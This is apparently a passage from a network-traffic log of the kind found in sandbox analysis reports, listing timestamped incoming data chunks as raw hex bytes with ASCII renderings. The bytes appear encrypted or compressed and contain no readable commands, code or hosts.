2023-08-29 20:43:03 UTC	26	IN	Data Raw: 42 ab b7 8f f3 08 ee 22 ed 83 66 bb a7 b8 69 b7 9b 95 c1 88 50 f2 a5 b4 31 cd 6b d1 22 5b c2 3f 51 57 e1 f0 31 40 0f 81 63 d7 db aa 49 15 d6 ec 7b 00 88 ee bf 1b cc cc 98 7a 6d 37 37 92 29 b5 e2 da c2 c9 99 7e fb 31 7f ec 4e 9e c7 a1 0b 34 1d 76 f7 91 5a 04 5b dd 86 38 84 3f e0 3d c2 e1 19 06 45 f2 91 94 92 25 1d 9e cf ef a6 86 c1 a8 4b ce d5 2f d6 4f af 02 47 73 f6 f7 7c b0 f6 9d ef ff df 02 26 cf 16 bd 0f 04 9f a4 55 22 3e c7 93 ae 14 42 ab ed c9 ae ad 39 d1 f8 ae e5 ee e9 75 a3 11 fe 71 d8 6d 30 5a 35 4b a3 1c d9 c4 c7 4b 3c 0d 69 c3 2b 6f 3b e3 fc 53 69 cb d5 2c b7 93 46 14 3c 01 1f ac 3b 4f 25 54 82 54 ee 1d 6a 6d 59 1b 3e 76 44 96 2c 24 8f 17 4f 20 f4 7d 40 35 9d d5 8c f6 dd a3 f5 c9 70 8a 1f 27 f2 76 34 60 25 66 e1 76 f5 4f 9a 6c e2 36 00 0f a0 c3 Data Ascii: B"fiP1k"[?QW1@cI{zm77)~1N4vZ[8?=E%K/OGs\|&U">B9uqm0Z5KK<i+o;Si,F<;O%TTjmY>vD,$O }@5p'v4`%fvOl6
2023-08-29 20:43:03 UTC	27	IN	Data Raw: e2 83 e5 5a cb 6a 15 51 63 64 6f ef 21 6a 21 da cc e9 d6 30 09 43 2e 64 93 8c 6b 43 40 55 33 1a 9d c6 19 d4 79 55 1e 6d 7d 05 4f 8e 71 c7 e6 46 27 8e 56 61 97 19 ad 39 b7 ac fc 99 b3 84 31 e3 03 14 9c 2b 68 a8 2f c8 4c f7 c4 0a a5 d2 fa 65 ca d5 b9 7e 51 ee 6b 6a 2e b9 6b d0 99 3a ab 56 c6 c3 28 7b 4b 16 36 7e 7e 3a d0 76 fd 3c d8 0a d3 ca 4e 16 47 4e cc ee e8 6e 6b 46 45 00 0d da 9f 6a 11 65 64 cd c8 1b 80 56 fa c9 f6 d9 8e bf 34 ee 69 94 bf 07 07 80 39 b6 8e a2 27 8e 95 9f cd 60 c3 18 e2 40 bd f1 d7 c9 21 c0 12 bb 63 ee 42 f1 c1 15 f1 32 be ea 93 1a ba 6f dd 61 5c 2f 55 1c d8 c7 d9 7c cb d4 c5 99 05 cc 15 c2 1b 0f d3 36 0f a3 ab a4 82 ee 53 df 7e b9 11 e9 42 61 f7 f5 a5 94 3e 1f e9 47 47 4b 7d e0 12 5f 1d b0 cf 3e 5c 4b 74 77 87 bc 21 82 dd eb 28 e2 b7 Data Ascii: ZjQcdo!j!0C.dkC@U3yUm}OqF'Va91+h/Le~Qkj.k:V({K6~~:v<NGNnkFEjedV4i9'`@!cB2oa\/U\|6S~Ba>GGK}_>\Ktw!(
2023-08-29 20:43:03 UTC	29	IN	Data Raw: cc 03 61 8c d9 af 17 24 26 63 68 ae 05 f9 3e ca 54 00 f2 7e 61 79 63 de 27 a7 f1 06 e3 aa d5 56 6a d6 fb b7 86 5a 9c 32 4e b9 eb 6b a8 a7 71 62 bb af 0e e4 39 bc 30 9e c9 f5 c8 79 87 20 20 53 7c 34 4a 54 6f 10 f3 f2 b7 5f b8 3e 99 c8 7e 29 01 1c f6 a5 51 06 32 f2 49 6c ad 41 d9 1a f1 85 cb ba 12 37 2d 88 be 6b 15 1c c4 2f 52 08 2a 61 f8 09 5e 04 58 f3 f2 81 32 e8 7b 57 c4 48 18 ea 76 52 59 a0 03 ef a0 eb 74 60 cd 44 df d6 12 8e bc 4c 13 9c d7 b1 95 bd 13 a2 b7 bb 9a 9c aa 53 4d c3 79 8b 23 0a bf 2e 78 d3 54 f3 b8 9b ae 08 2c 36 c9 88 a1 1b 64 5f f9 f6 9a e2 c6 fc 66 3b 89 e1 66 b7 a9 c9 11 db 10 1f 23 3d eb c9 bd 14 5f e1 32 5e 34 2f 75 44 b5 ff 4b ae ac f8 32 80 03 a5 15 9c 3f 9b fc 24 d8 02 75 14 e6 54 49 fb 04 2c 6b 66 19 b3 9f 13 23 f2 b9 05 bf 73 f7 Data Ascii: a$&ch>T~ayc'VjZ2Nkqb90y S\|4JTo_>~)Q2IlA7-k/R*a^X2{WHvRYt`DLSMy#.xT,6d_f;f#=_2^4/uDK2?$uTI,kf#s
2023-08-29 20:43:03 UTC	30	IN	Data Raw: 12 4d 74 1d d9 4f 09 95 9e cb 3b e7 fa ac d3 3c 12 81 cb 8c c4 0d 49 1b 27 49 6f bd 2b 0c 3b 62 c2 f5 0a 6b 1d 3a 13 6a c5 59 c0 49 27 5c 7a 71 fa 69 98 79 0d 4c 34 2d 25 ff f5 d5 f9 47 51 a5 20 27 8c ad 38 49 eb a8 97 cb 3e ee 9d 11 49 93 0c 3d e1 0f e6 7f da 04 16 de af be f2 5b af 20 1c 53 01 e9 db 33 6b b8 43 fb 84 61 b9 03 f0 4d ff ad a2 ff cd 35 b9 52 6f 20 7f 32 9a 00 73 c8 c6 ee 4a 05 b7 e8 fd 2b 16 7a 68 01 2e 30 97 bc 13 52 31 36 c2 50 a0 af af bc 62 aa a0 80 1e 73 03 50 5f 72 1f 44 45 73 7e 15 ef ce 76 da 39 54 3a 0a b4 80 4b 71 ed 19 4e ed 3d bf c7 a4 df 76 79 8b fb 5a 0e a6 03 91 61 ba b6 e9 21 13 66 cd 49 a6 21 fc 00 d9 2b 6a 87 b6 2a 48 39 a7 7e d6 be 28 d4 a0 a5 45 46 64 21 a6 24 e2 3c 95 c4 03 5e b6 ca 84 d0 25 d7 e5 a3 15 f4 78 57 61 66 Data Ascii: MtO;<I'Io+;bk:jYI'\zqiyL4-%GQ '8I>I=[ S3kCaM5Ro 2sJ+zh.0R16PbsP_rDEs~v9T:KqN=vyZa!fI!+j*H9~(EFd!$<^%xWaf
2023-08-29 20:43:03 UTC	31	IN	Data Raw: a4 0d cd d5 00 96 6d 9f 84 12 47 e3 df f0 51 ed a6 bc d7 79 86 6d 35 20 18 90 59 a6 00 38 d0 9f 82 ab ee 95 fa 03 74 24 ee 7e 6b 55 df a6 a6 c1 1b 42 c2 0b 39 f8 5a fe c7 3f a2 08 b9 7a eb a1 8c 1e 10 74 4a e5 39 ce bd a4 bf 2e 06 b5 25 1a c0 f3 33 18 5e ae 55 d0 25 75 26 be b6 33 1e 2f 79 27 b9 7c b9 ec 6b e0 ad 37 7e a9 d9 62 61 67 ff 9f ad 71 22 37 22 be d3 0b 92 a1 86 b2 1d ad 3c 84 21 48 09 83 56 7a d0 8c 40 27 da 88 b5 cd 37 f2 9a df 08 8d 44 d4 c2 33 bf 26 63 c5 08 93 1b e6 25 77 80 fd 0f f7 ce 36 c1 aa 3b 14 7f 60 23 74 30 26 c8 10 7d 16 20 bd 30 36 e8 38 25 ac d6 ea 64 87 92 9c 6f 2a bd 6d fc 88 e4 4d f8 2c ed 72 0a 3d 86 db 9e 1a 18 43 30 e4 2b ca a5 3f ab 48 88 9b fa 40 c9 b1 55 3a 4f 62 b2 47 c9 05 22 30 d4 14 38 51 88 69 75 26 98 6f ae 59 16 Data Ascii: mGQym5 Y8t$~kUB9Z?ztJ9.%3^U%u&3/y'\|k7~bagq"7"<!HVz@'7D3&c%w6;`#t0&} 068%do*mM,r=C0+?H@U:ObG"08Qiu&oY
2023-08-29 20:43:03 UTC	32	IN	Data Raw: 4f 29 0f a6 88 42 f4 ef 64 33 b0 2e e0 31 dc ad 3a 00 94 36 3e 57 5d 08 b3 8e 18 ca 1b d1 5a 68 af a9 ed 31 b6 e2 4a e0 97 80 6a 7e bd 0b 87 a6 d3 80 17 ec 1a e7 db ea fd 01 4a 99 12 a1 d9 69 50 65 c6 0f cd 69 d3 76 00 04 f2 34 ed 49 7d 99 ea 7f 67 ae 35 98 b0 d4 cf 85 71 e0 15 b9 1f ff 88 84 aa 9d a6 2d 8e 23 c0 44 48 e9 ba 56 14 19 9c 5b f4 bd fb 9c 20 22 b7 a6 b1 31 db 8b 48 c3 f2 a0 96 e3 06 f1 46 1d 00 b2 30 f7 80 68 82 f0 fb 7d ab 7d 55 ea ea ef 42 0c db 3d 84 f7 cf cc e7 f3 6e 2a 79 dc 43 41 77 8c c1 25 94 e0 6a ed ff 98 91 19 b9 e6 29 41 32 e2 45 39 b3 2d 8f 29 99 eb 8c 28 3e ff cc 98 9f 8e 9c b9 85 8a b3 89 d7 7e 7f fd 52 b4 11 23 6e cb ad c5 3c 01 d9 74 b1 b9 8f 23 aa b6 e1 dd 03 3f 9b 33 fa 71 88 c2 09 79 4c b8 c6 a4 8a 4c 83 98 bd ae 0e fc 8a Data Ascii: O)Bd3.1:6>W]Zh1Jj~JiPeiv4I}g5q-#DHV[ "1HF0h}}UB=n*yCAw%j)A2E9-)(>~R#n<t#?3qyLL
2023-08-29 20:43:03 UTC	33	IN	Data Raw: 00 b9 06 d6 8b b0 5e bb 52 fb 74 1c 6d d6 ff fb 09 30 b9 3a 34 b3 50 ee 8b 12 c8 e1 e4 42 23 7f e2 10 1c 86 0b 15 e1 11 22 59 2d 6f b6 fe 95 ad 94 23 a9 ae 79 73 96 a3 63 93 f0 b5 13 cf ed e0 4d 6b ec 0a 6c c9 80 61 5e 63 fb e8 d6 5e 9f ef bb 07 9c 42 57 77 f6 23 2d d3 8d d0 d4 dd 0b 0c d2 f3 48 55 1e a3 e2 10 95 90 7b 84 Data Ascii: ^Rtm0:4PB#"Y-o#yscMkla^c^BWw#-HU{
2023-08-29 20:43:03 UTC	34	IN	Data Raw: 23 78 cc 64 3e da fe 5d 5c 21 20 f7 29 c3 4f d0 8c b3 85 e7 18 c9 ee db 93 5a eb 74 ed 91 1f c3 c4 39 5e a6 2c d7 4b e2 f5 09 69 cb 78 8b 05 fb 46 70 88 00 16 a2 8f b2 56 2c e3 ed 92 71 30 81 ae 31 06 b3 c7 88 7e ff 50 38 20 00 be 2c 15 fa 19 30 c1 1f 9a 3a 00 dc 7f 36 75 16 69 09 7f af fb bc 1a d3 21 be 31 85 c5 48 20 4b 0b be 6c cf d1 10 85 a4 b0 10 a9 7d f1 73 01 f8 a5 8f 21 20 80 86 63 bd d1 2e 4d 3d b9 b4 7a b2 fb 5c b2 5f b1 cb cb 53 38 07 99 7c fd 8a af 9a a8 32 23 9f 33 97 45 5d 8e 1f 34 1b 0f fc 6a b7 65 d0 6f f2 30 1e ba 18 36 9e 3c 60 89 47 da 5f f4 60 1f ae f3 b0 5c e7 7e b7 82 d1 1f c1 95 60 ae 09 08 2a 13 d2 e3 69 a6 fa 02 90 a9 a8 96 33 53 ac 01 73 3e fd 67 76 b2 5b 5f 10 18 23 cc 93 f7 11 cb 08 b6 69 a9 f2 85 19 a9 70 a4 b5 83 b6 e0 db 53 Data Ascii: #xd>]\! )OZt9^,KixFpV,q01~P8 ,0:6ui!1H Kl}s! c.M=z\_S8\|2#3E]4jeo06<`G_`\~`*i3Ss>gv[_#ipS
2023-08-29 20:43:03 UTC	35	IN	Data Raw: 5f 61 17 74 b3 cf 40 b9 b2 68 45 29 d4 ab c9 27 17 ac 08 f3 7c 4a 4c 10 a1 35 c0 5e 0d 71 a8 32 9d 58 89 ec 84 bb 16 e8 ee 56 4c 69 a7 0c 49 b9 22 eb 34 a5 88 73 1b c2 f0 cb bd ac 10 e2 ef 65 fc 31 47 54 57 1b c5 cb 3a 23 5c c3 27 16 89 67 2b 5f a6 d3 86 70 95 4c 8a 96 79 3d ee a5 30 77 e1 12 19 c5 29 c8 8b f9 22 95 e7 fd e7 a7 aa b5 bd 31 a3 01 00 d0 3e 55 96 49 47 ac 72 ba ab 98 b4 72 1e 85 ce 64 0e 72 15 1a b2 32 50 3a fe 8d 64 e8 21 aa 40 d4 19 44 1d c2 5b db ff 62 7c 99 65 c4 77 8e 0f 58 4d e0 f4 94 93 29 ef a4 eb 5d 0d 90 17 68 57 c7 d2 8c 7f 2b d1 2d bd 81 3e b6 09 43 a6 f6 68 23 bc 27 0d 44 2f 1d af a5 26 1d 74 17 6e 72 43 db 01 c4 d9 06 d5 16 9e f8 83 69 5e 04 e0 21 a0 11 dc 2b 20 75 7b 7e 03 40 cf e2 19 1b 8a 44 73 53 0c a2 dc de b2 8b 6f b2 e9 Data Ascii: _at@hE)'\|JL5^q2XVLiI"4se1GTW:#\'g+_pLy=0w)"1>UIGrrdr2P:d!@D[b\|ewXM)]hW+->Ch#'D/&tnrCi^!+ u{~@DsSo
2023-08-29 20:43:03 UTC	36	IN	Data Raw: 31 74 b4 28 4e ac a7 01 cc e3 ca 05 0c 7b 3b fd 32 3d 19 80 81 70 74 e4 86 c9 cd 73 86 36 e3 87 19 37 b9 ba 0c cd f7 58 39 99 62 2c fc 3b 43 cb a6 15 81 74 7a fd 0c d4 cf db 77 03 4d be 6c 83 b8 f6 6b ed 0a 3e e0 56 26 0c 41 35 e1 ef e7 a5 34 fa 10 5f 13 4d 58 c5 d6 8e 22 9f 4b b2 84 d3 8e ba 9d 50 68 89 62 a6 01 f9 99 ec dc 4a 0d a8 63 5b 01 0f b1 4f ae 78 04 48 5c 50 1b 56 d7 83 ca 27 9d a6 39 6a 32 1d 6b ac 28 0f 73 15 4f 5a 0a 5e 82 53 19 e3 c0 13 a8 d3 9a 9c 25 10 d5 69 41 c9 ab 77 24 a7 5d e0 d2 a6 77 a2 58 4f 43 9a 29 97 fc 30 19 1a 49 f1 13 4b 08 42 b1 3d 7a 87 b4 9f b1 35 d2 a6 00 69 01 8a d7 07 59 db c0 c8 e7 79 9e f9 b2 61 19 a7 a1 f2 d0 07 49 f8 70 b7 83 4c c2 ca d7 31 12 2d 56 92 ea 27 bb 3f fe 94 51 80 d0 cc 63 d2 26 be d6 d1 b6 c1 04 fc 35 Data Ascii: 1t(N{;2=pts67X9b,;CtzwMlk>V&A54_MX"KPhbJc[OxH\PV'9j2k(sOZ^S%iAw$]wXOC)0IKB=z5iYyaIpL1-V'?Qc&5
2023-08-29 20:43:03 UTC	37	IN	Data Raw: 40 71 36 b9 cc 90 36 6e f2 09 5d e4 46 77 3a 0e a4 3e 80 db f8 a2 0c b6 d8 90 30 c3 9b a3 5c 4f 42 5d 5e 7b 62 9d de 30 c7 75 6d a1 32 ee c7 15 d4 1f ef a7 8f e1 3d da 66 b2 29 14 7e 90 74 fb 0b 53 9f a0 f0 db f4 11 90 3e 3c bd d7 69 f8 cd 10 35 65 66 9a 74 6b 07 8c af 30 b4 b1 eb ff a5 1a 8b 90 75 c2 28 ac 7e bc d4 79 a3 61 fb 85 0e 54 17 3d 79 6e 13 ec db c4 ee 40 72 13 c0 eb 67 19 a4 4c ff ba f9 31 d2 5c 1d f3 1f 5e 82 e0 a4 39 9d 4e df 53 3c c6 5f 54 af 51 82 2e b9 00 cb cf 56 e3 5f a9 63 3d b3 38 ba 66 79 2f 25 55 9d c4 4a f8 fa 3e b9 8a 56 9d e0 6d b9 12 c4 ec 65 11 47 44 51 97 a2 72 fe ad 31 91 fb 64 79 27 dd ff c6 56 10 f5 ff 4e ce c0 85 e4 6a 2e 04 89 22 f9 7e 3b 3d ee 02 d0 da 98 92 55 50 a0 9c b6 86 49 f7 58 b7 e9 40 f7 19 b3 f1 7e e0 8a 83 4b Data Ascii: @q66n]Fw:>0\OB]^{b0um2=f)~tS><i5eftk0u(~yaT=yn@rgL1\^9NS<_TQ.V_c=8fy/%UJ>VmeGDQr1dy'VNj."~;=UPIX@~K
2023-08-29 20:43:03 UTC	38	IN	Data Raw: 64 39 31 ef 9b c7 d5 08 e4 dc 39 97 cd df 4d fa d3 35 4a 56 f1 6e 38 7e c5 4c 22 d7 03 26 e9 fc 16 c0 25 52 7a 24 a6 95 1f 97 5a 60 cb 1d 86 f5 7f 12 03 9a 01 ee 1b 34 71 cd ab f3 eb 3c 86 30 82 01 a7 6b 7d 23 0c 86 b2 f1 50 46 0e 2f b0 ee 0a 9a 8b 7b 0a 4e 35 0b 9f 74 58 5d 2f a7 d0 8b ed 8d c7 3b 86 d0 9d f3 3c c6 a9 3d d8 d2 38 19 06 5e 94 9d 13 97 9d 2b b6 6a d0 00 15 b3 d4 47 6f bf 0e 20 9a f7 a6 16 61 ee 11 4d 5c 21 f1 8c 79 e6 28 5f be e9 e9 d2 30 30 95 1b fc ec 46 f0 a2 57 f0 a4 d7 e0 a1 10 8c ab 57 43 f2 d4 9c e4 8d d5 e5 8e bc a5 24 01 3a 83 32 0e 32 b5 d1 17 5e c7 85 33 db 71 8e 5a 82 b2 a8 e5 c3 0a 9b cf 65 81 6c 8e fa bc 3a 68 90 7e 88 76 27 fd 84 11 35 5e 24 11 07 24 30 39 ba 45 e7 c6 6c 0a 43 d2 c6 f0 3a 13 ed 09 c2 ac f0 ff d0 04 28 11 33 Data Ascii: d919M5JVn8~L"&%Rz$Z`4q<0k}#PF/{N5tX]/;<=8^+jGo aM\!y(_00FWWC$:22^3qZel:h~v'5^$$09ElC:(3
2023-08-29 20:43:03 UTC	40	IN	Data Raw: b3 d2 28 31 8f cc 02 1e cc 06 4f 5c 9b c7 bb 80 15 32 5b e0 fb 06 00 1d 59 ea d6 60 a7 e6 65 7f 9f 93 b8 29 52 fe ea a5 4f 9f e0 be 03 b6 da 20 50 f1 23 2a 87 e9 ff 14 d7 01 f6 5a 70 d8 ea ac 21 d1 c4 aa 52 dc 68 14 e2 ab 67 6b 25 f0 3d d9 1a 85 ba 44 3c 9f a0 51 b3 72 15 ee c3 dc 53 25 df f9 36 0d 4b bc 1b c8 61 ff 78 1d 13 e9 59 ab 70 2b 6b 50 c8 2e de 7e d4 52 82 10 13 9a 91 5e ec ee 64 fc 1f 39 b5 fe 1c 3c 17 1f a6 b4 74 8b ee 92 5c 16 c3 2e a7 30 d3 cb db 28 0c 92 58 8b e6 26 65 ab 93 5c f1 53 d6 53 f4 ee 58 9d e0 68 24 98 e4 64 6d 12 b7 b1 48 15 cc fb 5d a2 83 1d 9e e4 99 1f ee b6 eb 44 74 2a 38 4c a2 29 12 cf a1 ad 25 20 c2 0f 69 09 4c 19 ef 6f b7 38 6b 32 d0 37 35 c7 d5 a9 e6 5a dc 9b 06 50 9a d4 bb 77 b9 8d 5e 98 15 d1 ec 00 cd b1 3b 48 be 18 29 Data Ascii: (1O\2[Y`e)RO P#Zp!Rhgk%=D<QrS%6KaxYp+kP.~R^d9<t\.0(X&e\SSXh$dmH]Dt8L)% iLo8k275ZPw^;H)
2023-08-29 20:43:03 UTC	41	IN	Data Raw: 6e 1c 94 88 a1 96 e4 72 bb 85 8a fd 5a 54 6a 94 8e 7a 95 b5 63 04 8d a8 60 78 23 6a ba 4c b4 3d 46 e6 61 86 cb 00 41 b0 45 5d 62 49 58 5b b9 d3 96 64 21 08 01 57 3f 0f 25 21 40 81 74 d4 56 ec 57 5a f2 f5 82 a6 72 07 70 a2 77 64 54 c6 95 f7 4a 1b b0 7f f1 d2 ed e5 bb 1f b7 3d 7c f9 e3 16 4d 0d 74 fd 0b dd e1 64 12 10 e9 84 56 58 21 60 46 fd 2f 1f 8e 88 a5 f3 b9 26 9a 42 e2 60 f6 d6 2e 81 60 33 dc 7f eb 88 a2 1d c9 29 0a 9f c5 43 e2 01 c7 94 12 76 73 46 8c 62 e1 8e 0b 21 1b 90 d7 12 46 8b 5b 2c 47 ea 2d a0 54 7b 76 50 bd ff ae 6b e8 e2 a4 46 47 d4 0e 56 15 36 b1 ea f8 a6 67 80 50 e7 ef 73 e6 cb b9 c9 81 25 d3 29 69 10 b8 23 37 1b c7 27 ae 67 6c bd f9 77 90 f4 e6 62 50 22 94 db 5e ca 35 91 26 d8 28 d1 15 17 26 22 8d 4f 35 94 ff 0c d9 23 b2 1e 84 17 31 d4 b8 Data Ascii: nrZTjzc`x#jL=FaAE]bIX[d!W?%!@tVWZrpwdTJ=\|MtdVX!`F/&B`.`3)CvsFb!F[,G-T{vPkFGV6gPs%)i#7'glwbP"^5&(&"O5#1
2023-08-29 20:43:03 UTC	42	IN	Data Raw: c0 6e 42 cb b7 58 70 11 98 d5 e6 38 5a 1f 14 7c 9c 9c 8b 13 87 52 da 8b e5 36 be 32 0f 04 b6 b2 31 52 ba 24 99 8e 87 f7 e3 14 af e7 63 7f 84 03 bb 8f d0 b5 c3 35 db 37 be ba ce 15 10 e5 86 1e 5a 37 a6 d0 fa 7c 28 f2 cf 2f 2d 14 ae 3c e9 94 13 8d ca 9f 0b 1c e2 28 ec 16 6a 8a cb 70 29 39 eb 9b 84 ec 31 e2 de 93 fb e5 5c 89 15 b9 1c d7 1a 6f 91 60 2b 87 a1 76 c7 5a 5e 7b 33 b1 f1 8c ff 9f fc bb 4f c0 f4 db 51 d1 1e 45 48 78 94 c6 08 a4 2f ce 93 33 e0 0d 16 ac 96 11 49 fa 0e 45 b1 5e 03 b3 6f c8 65 85 90 1a 27 eb 96 eb c5 61 6a cd 50 c9 33 2e 81 70 b0 a4 4e 04 85 84 c6 2d ce c5 4d 21 7c 59 ed 30 87 77 89 d2 e3 c5 bf 3b 94 76 98 b5 38 e0 1f ce 05 9c bb 19 35 6f c7 dd 3c 9c a0 19 4d 23 44 a4 a3 28 07 3d 96 51 ae 65 f4 6c e6 3c 94 b7 49 4f 6a 82 df 3b 73 cb 69 Data Ascii: nBXp8Z\|R621R$c57Z7\|(/-<(jp)91\o`+vZ^{3OQEHx/3IE^oe'ajP3.pN-M!\|Y0w;v85o<M#D(=Qel<IOj;si
2023-08-29 20:43:03 UTC	43	IN	Data Raw: f8 35 4e a7 6a 44 0e ce be 1b ce bd db 9d aa e3 4a ed 30 53 20 60 c7 f8 e2 bd c8 16 6f 2f d9 a4 dc 7a f8 cf 61 6a ef 19 df b1 ed bc a0 ff 95 5f 68 4d d6 27 64 b9 83 7d 97 a1 76 9a 79 52 5d 51 3f 0d aa 60 20 69 3c 33 f4 1c ff c4 6c 8a 30 e0 53 43 a2 e5 e7 f8 30 6d 34 57 d3 4c 4b 79 51 02 a3 99 ae 61 5a 09 6a fe ec 6d 2a 19 ae 00 70 cf 33 08 ef 27 d9 a2 f9 59 d6 51 53 8b 99 4f 86 68 0d 4f ac ea d2 c3 28 76 f4 43 42 d4 1b 5b 6b 05 41 ca 00 12 89 6a e0 8b d7 f7 bb 07 8b e2 9f 3f db d5 07 38 c0 2e f6 02 d5 08 ab 2f cd dd d0 1e f1 8c f6 bc be de dc af f8 1a 06 e9 67 89 99 06 2d be 72 9e 77 40 ad 08 fc d0 54 de 09 05 e1 19 67 d0 7c a4 08 1b 0d e2 6d ab ca e5 f3 c5 e8 60 76 3f 5e bb 73 26 34 21 78 14 d8 b1 b7 8c 0a 8f 5c c3 0b cd 10 35 d2 43 39 b2 8e df 8e 1a 7b Data Ascii: 5NjDJ0S `o/zaj_hM'd}vyR]Q?` i<3l0SC0m4WLKyQaZjm*p3'YQSOhO(vCB[kAj?8./g-rw@Tg\|m`v?^s&4!x\5C9{
2023-08-29 20:43:03 UTC	45	IN	Data Raw: 7e 25 cf b1 71 00 fc f4 ba b3 03 81 f5 e9 2a 03 6a 21 b1 7d 1a c2 85 6c 9d 8a 4a 85 6d 04 c1 ad 54 0f c4 31 5a 64 1c 30 db 9d ca 7c 28 ea f5 b5 a1 4b 73 f3 70 2d 7b f0 16 5f f3 30 04 37 b5 33 5a 6d 8d ac 5a b1 f9 2e df 10 41 16 57 87 7d ca 87 02 6e d4 e1 f2 09 80 80 5e 08 bc 3b 31 2b e5 b8 63 23 79 8c 16 9a 78 a7 a4 89 af d6 c2 a3 35 f9 a9 a5 34 f4 45 a7 90 e0 42 0b 39 03 7d ef ec f3 7f 21 8d 40 94 bb 31 a6 a1 c6 9d df 99 c6 23 bb 77 0a e1 83 f6 d8 6c ba c9 1a 66 f9 32 dc b9 20 5a f3 f9 14 82 cb de e9 59 7b 19 eb 0e 87 9f 63 b5 9c 23 9f a9 b2 8f fc c1 b4 75 f4 c7 f1 e3 22 b9 2b 85 0a fa 2b 4c 82 aa c4 89 94 f0 89 d7 8b 53 b5 c7 f7 4c 6e b6 95 e1 3e 55 8a f2 ec 4f d5 2f 45 db 7a e2 29 1f d3 a7 89 83 a7 2e 65 30 13 39 57 3c 26 4c 3e 9b ae d2 2d a3 4a 1c c9 Data Ascii: ~%q*j!}lJmT1Zd0\|(Ksp-{_073ZmZ.AW}n^;1+c#yx54EB9}!@1#wlf2 ZY{c#u"++LSLn>UO/Ez).e09W<&L>-J
2023-08-29 20:43:03 UTC	46	IN	Data Raw: c9 8f 9c 98 e7 8f 88 e9 84 f0 6a 42 3f 3b cc e3 d9 7f 16 1a 26 32 78 d1 47 20 ef 64 13 dc 73 76 01 fe 0b 72 b3 b0 1b 0e 45 6d a8 6c 86 2c dc 60 c2 f0 37 b9 a5 79 5f 8c 6a d8 8a a5 9b f7 39 35 35 24 23 1f 7d a3 29 fc 73 7c 37 25 98 13 93 b2 44 02 ed 8b 18 9c 68 73 0b a6 c7 94 30 fe 8d bd 00 4a 06 e7 9e 93 6c f4 98 95 2d b1 2c ee 33 ef 71 b5 0e 21 1c 2a 80 4b 75 3d 4f 55 3c 6d 0c ef 56 fa ca 2d e6 f7 73 b1 75 18 78 9f b5 72 c2 74 cf 9d 20 d9 e6 d3 19 7b 8c ed e7 df 28 eb c2 ff ed b6 61 8a 8d 41 ac 2d 7a 24 ca 79 75 1d d2 f8 bb cf 7f 17 66 50 22 b7 9f 07 01 ef c9 27 12 16 7d 8b 44 d3 c3 f0 30 f5 3f e4 5c 64 8e 33 72 ad 40 7d f5 92 49 c1 41 13 9d 8b 44 48 cf 0d 9f 95 fc 22 24 95 a5 99 f1 d0 a6 ae 58 52 f4 1b f5 82 0e 7c ea f5 8f dd da 05 4c e0 7f 42 2d 9d 89 Data Ascii: jB?;&2xG dsvrEml,`7y_j955$#})s\|7%Dhs0Jl-,3q!*Ku=OU<mV-suxrt {(aA-z$yufP"'}D0?\d3r@}IADH"$XR\|LB-
2023-08-29 20:43:03 UTC	47	IN	Data Raw: 56 ab 82 78 65 ec 36 8d 91 60 4e 5c 02 78 4c bf 5e 97 9a ef d9 0b c3 25 50 d8 e3 27 c8 0c ec 95 5a 10 77 c2 71 93 9b 63 1f 66 d6 94 6b fb f9 68 40 2b 76 22 62 4d 26 41 67 30 6e 0b 3e c4 2b 11 42 1c 0b 24 29 71 a0 a7 65 b2 aa 93 7e cb 7b aa 94 83 1e 95 30 3c 87 ac 5c 13 c1 a2 96 40 27 21 f1 a6 b9 a3 a7 bc ec c0 32 68 fe 5c 40 f4 00 6e 60 f4 cf 7f 5c 19 4f 36 6c ec 17 19 de aa a8 80 1b 28 d7 2c 99 e3 8d db 68 8b b7 d1 d5 d0 45 58 5e 44 0b ca 36 25 15 09 28 89 56 fb 12 0b a2 03 b2 84 bb 4b c5 9b 37 5e b8 d9 fa ce e9 3c 3c 80 3f d4 d9 04 81 a2 f6 a3 ba 3b 20 ef 91 f7 c5 87 da a8 dc 1e 8d e4 b5 fe 61 ba 39 6a a7 8d fa 5e df d6 b6 ee 90 93 6c 6a 67 3f e5 e8 06 02 a8 e7 b4 d3 f0 8b b9 1d 33 5c cd 5f 4c 6e 84 a2 72 c2 db 24 a5 95 01 3c e8 e7 81 c5 b5 8e 2d bd 9c Data Ascii: Vxe6`N\xL^%P'Zwqcfkh@+v"bM&Ag0n>+B$)qe~{0<\@'!2h\@n`\O6l(,hEX^D6%(VK7^<<?; a9j^ljg?3\_Lnr$<-
2023-08-29 20:43:03 UTC	48	IN	Data Raw: 31 96 ee 1a 9e 08 53 60 4f 9b 1d 14 c2 1e 31 8b ed c0 10 65 e6 53 5b 61 47 f2 3c 6b 98 31 1a 01 43 51 a5 d3 84 1e 9d 91 79 c5 ba 55 d5 c8 3c 5b 8f d1 55 4e 9d 17 c3 69 7c 08 84 a6 e3 b2 03 43 cd 9f 22 18 49 4c 06 5a 19 20 f2 52 69 ba e4 4c df c8 99 55 dd 9e 2e 29 5e 5b 3f c6 3b 6e ff 9e a7 d2 89 eb 56 aa df af b7 1a 20 58 34 5b 08 b3 ac ef 85 54 8b 93 94 18 f7 6d 4a 62 e0 cb 20 1e 18 28 09 4c 5e c4 5e 98 4a fa 56 aa 83 37 48 a8 68 dd bf c6 60 ff 39 2e 36 27 79 a9 5b e7 67 53 96 10 a8 97 8b fa 3a 6e 7f d4 74 b1 e3 cc 5b dd 89 0d d7 40 44 a2 e1 8d 7a 14 82 a1 0e 70 2d 9c 26 d5 ce 12 f9 09 de 1f 5e ac 59 20 f0 76 40 93 d4 4e 89 79 5f 00 18 5a 54 38 44 e9 95 9f a1 ca 8c a6 39 fb e2 60 63 b3 8b 92 52 6b 8c e0 a2 df 36 4d df e0 dc cb 7a 16 fe d2 4c bf 4a 30 00 Data Ascii: 1S`O1eS[aG<k1CQyU<[UNi\|C"ILZ RiLU.)^[?;nV X4[TmJb (L^^JV7Hh`9.6'y[gS:nt[@Dzp-&^Y v@Ny_ZT8D9`cRk6MzLJ0
